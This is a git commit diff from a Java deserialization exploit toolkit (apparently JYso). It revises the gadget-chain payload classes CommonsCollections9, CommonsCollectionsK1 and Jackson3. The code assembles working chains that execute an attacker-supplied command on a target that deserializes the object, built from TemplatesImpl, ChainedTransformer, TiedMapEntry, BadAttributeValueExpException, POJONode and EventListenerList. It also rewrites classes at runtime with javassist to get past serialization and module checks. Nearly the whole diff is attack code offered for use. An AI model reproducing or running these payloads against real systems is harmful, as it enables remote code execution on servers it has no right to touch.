fix: Jackson3 UID冲突问题,类重复加载问题

This commit is contained in:
qi4L
2025-08-28 14:27:05 +08:00
parent 6169c3acc8
commit 34ce7e237e
3 changed files with 51 additions and 36 deletions
@@ -20,12 +20,11 @@ import java.util.Map;
public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> { public class CommonsCollections9 implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(String command) throws Exception { public BadAttributeValueExpException getObject(String command) throws Exception {
String[] execArgs = {command};
Class c = (execArgs.length > 1) ? String[].class : String.class; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Integer.valueOf(1))});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))});
Transformer[] transformers = TransformerUtil.makeTransformer(command); Transformer[] transformers = TransformerUtil.makeTransformer(command);
Map<Object, Object> innerMap = new HashMap<Object, Object>(); Map<Object, Object> innerMap = new HashMap<Object, Object>();
Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer); Map defaultedmap = DefaultedMap.decorate(innerMap, chainedTransformer);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L"); TiedMapEntry entry = new TiedMapEntry(defaultedmap, "QI4L");
BadAttributeValueExpException val = new BadAttributeValueExpException(null); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Reflections.setFieldValue(val, "val", entry); Reflections.setFieldValue(val, "val", entry);
@@ -25,6 +25,7 @@ import java.util.Map;
public class CommonsCollectionsK1 implements ObjectPayload<Object> { public class CommonsCollectionsK1 implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
@@ -1,9 +1,11 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.fasterxml.jackson.databind.node.POJONode; import com.fasterxml.jackson.databind.node.POJONode;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import javassist.ClassClassPath;
import sun.misc.Unsafe; import sun.misc.Unsafe;
import org.springframework.aop.framework.AdvisedSupport; import org.springframework.aop.framework.AdvisedSupport;
@@ -11,6 +13,7 @@ import org.springframework.aop.framework.AdvisedSupport;
import javassist.ClassPool; import javassist.ClassPool;
import javassist.CtClass; import javassist.CtClass;
import javassist.CtMethod; import javassist.CtMethod;
import weblogic.apache.xpath.objects.XObject;
import javax.swing.event.EventListenerList; import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager; import javax.swing.undo.UndoManager;
@@ -22,8 +25,10 @@ import java.lang.reflect.Proxy;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.Comparator;
import java.util.Vector; import java.util.Vector;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@@ -39,36 +44,19 @@ public class Jackson3 implements ObjectPayload<Object> {
return proxy; return proxy;
} }
@Override public static Object getEventListenerList(Object obj) throws Exception {
public Object getObject(final String command) throws Exception { //EventListenerList list = new EventListenerList();
try { POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.event.EventListenerList")));
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); final CtClass ctEventListenerList = POOL.get("javax.swing.event.EventListenerList");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); insertField(ctEventListenerList, "serialVersionUID", "private static final long serialVersionUID = -7977902244297240866L;");
ctClass.removeMethod(writeReplace); Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
ctClass.toClass();
} catch (Exception EE) {
} //UndoManager undomanager = new UndoManager();
POOL.insertClassPath(new ClassClassPath(Class.forName("javax.swing.undo.UndoManager")));
final CtClass ctUndoManager = POOL.get("javax.swing.undo.UndoManager");
insertField(ctUndoManager, "serialVersionUID", "private static final long serialVersionUID = -1045223116463488483L;");
Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(Jackson3.class);
classes.add(Field.class);
classes.add(Method.class);
new Jackson3().bypassModule(classes);
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
EventListenerList eventListenerList = getEventListenerList(node);
return getEventListenerList(node);
}
public static EventListenerList getEventListenerList(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。 //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
Vector vector = (Vector) getFieldValue(undomanager, "edits"); Vector vector = (Vector) getFieldValue(undomanager, "edits");
vector.add(obj); vector.add(obj);
@@ -121,8 +109,7 @@ public class Jackson3 implements ObjectPayload<Object> {
} }
} }
public static Object getFieldValue(Object obj, String fieldName) throws public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Exception {
Field field = null; Field field = null;
Class c = obj.getClass(); Class c = obj.getClass();
for (int i = 0; i < 5; i++) { for (int i = 0; i < 5; i++) {
@@ -136,10 +123,38 @@ public class Jackson3 implements ObjectPayload<Object> {
return field.get(obj); return field.get(obj);
} }
public static void setFieldValue(Object obj, String field, Object val) throws public static void setFieldValue(Object obj, String field, Object val) throws Exception {
Exception {
Field dField = obj.getClass().getDeclaredField(field); Field dField = obj.getClass().getDeclaredField(field);
dField.setAccessible(true); dField.setAccessible(true);
dField.set(obj, val); dField.set(obj, val);
} }
@Override
public Object getObject(final String command) throws Exception {
try {
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
} catch (Exception EE) {
}
ArrayList<Class> classes = new ArrayList<>();
classes.add(TemplatesImpl.class);
classes.add(POJONode.class);
classes.add(EventListenerList.class);
classes.add(Jackson3.class);
classes.add(Field.class);
classes.add(Method.class);
new Jackson3().bypassModule(classes);
POJONode node = new POJONode(makeTemplatesImplAopProxy(command));
Object eventListenerList = getEventListenerList(node);
return eventListenerList;
}
} }